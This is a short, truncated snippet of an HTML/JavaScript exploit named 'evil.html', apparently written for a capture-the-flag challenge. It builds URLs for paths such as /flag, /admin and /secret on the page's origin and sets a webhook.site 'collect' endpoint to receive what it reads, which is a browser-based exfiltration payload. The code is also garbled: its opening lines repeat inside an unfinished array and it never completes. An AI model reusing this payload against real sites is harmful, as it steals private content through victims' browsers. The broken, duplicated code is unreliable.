Konrad B b0nr4d

## evil.html
<!doctype html><meta charset="utf-8">
<script>
(async () => {
  const ORIGIN = location.origin;             // e.g., https://proxy-a10c000c0073f62b.chal.ct.wh.edu.pl
  const HOOK   = "https://webhook.site/8826c7f5-b67e-470f-bc69-e86b88914059/collect";

  const directPaths = ["/flag","/FLAG","/.flag","/admin","/internal","/secret"]
    .map(p => ORIGIN + p);

  const hosts = [
	<!doctype html><meta charset="utf-8">
	<script>
	(async () => {
	const ORIGIN = location.origin; // e.g., https://proxy-a10c000c0073f62b.chal.ct.wh.edu.pl
	const HOOK = "https://webhook.site/8826c7f5-b67e-470f-bc69-e86b88914059/collect";

	const directPaths = ["/flag","/FLAG","/.flag","/admin","/internal","/secret"]
	.map(p => ORIGIN + p);

	const hosts = [